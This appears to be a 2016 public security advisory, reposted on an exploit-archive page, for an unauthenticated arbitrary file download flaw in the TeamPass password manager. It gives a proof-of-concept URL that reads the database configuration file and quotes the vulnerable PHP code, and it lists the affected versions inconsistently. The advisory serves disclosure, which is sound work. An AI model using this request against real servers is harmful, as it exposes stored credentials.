扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 |
1. ADVISORY INFORMATION ======================================== Title: TeamPass Passwords Management System via Unauth File Download and Arbitrary File Download Application: TeamPass Passwords Management System Class: Sensitive Information disclosure Remotely Exploitable: Yes Versions Affected: TeamPass Passwords Management System <= 2.1.26 Bugs:Arbitrary File Download Date of found:21.03.2016 Reported:09.05.2016 Date of Public Advisory: 13.05.2016 Author: Hasan Emre Ozer 2. CREDIT ======================================== This vulnerability was identified during penetration test by Hasan Emre Ozer & Halit Alptekin from PRODAFT / INVICTUS Thank you Mehmet Ince for support 3. DESCRIPTION ======================================== We deciced to publish the vulnerability after its fix in release 2.1.26 4. VERSIONS AFFECTED ======================================== TeamPass Passwords Management System <= 2.1.10 5. TECHNICAL DETAILS & POC ======================================== Using 'downloadFile.php' file from 'sources' directory we can download any file. Proof of Concept (POC) Example for downloading database configuration: http://teampass/sources/downloadFile.php?sub=includes&file=settings.php Technical Details <?php ...... header("Content-disposition: attachment; filename=".rawurldecode($_GET['name'])); header("Content-Type: application/octet-stream"); header("Pragma: public"); header("Cache-Control: must-revalidate, post-check=0, pre-check=0, public"); header("Expires: 0"); readfile('../'.$_GET['sub'].'/'.basename($_GET['file'])); ?> $_GET['sub'] and $_GET['file'] parameters vulnerable in readfile function. 6. SOLUTION ======================================== Update to the latest version v2.1.26 7. REFERENCES ======================================== http://teampass.net/2016-05-13-release-2.1.26 |
体验盒子
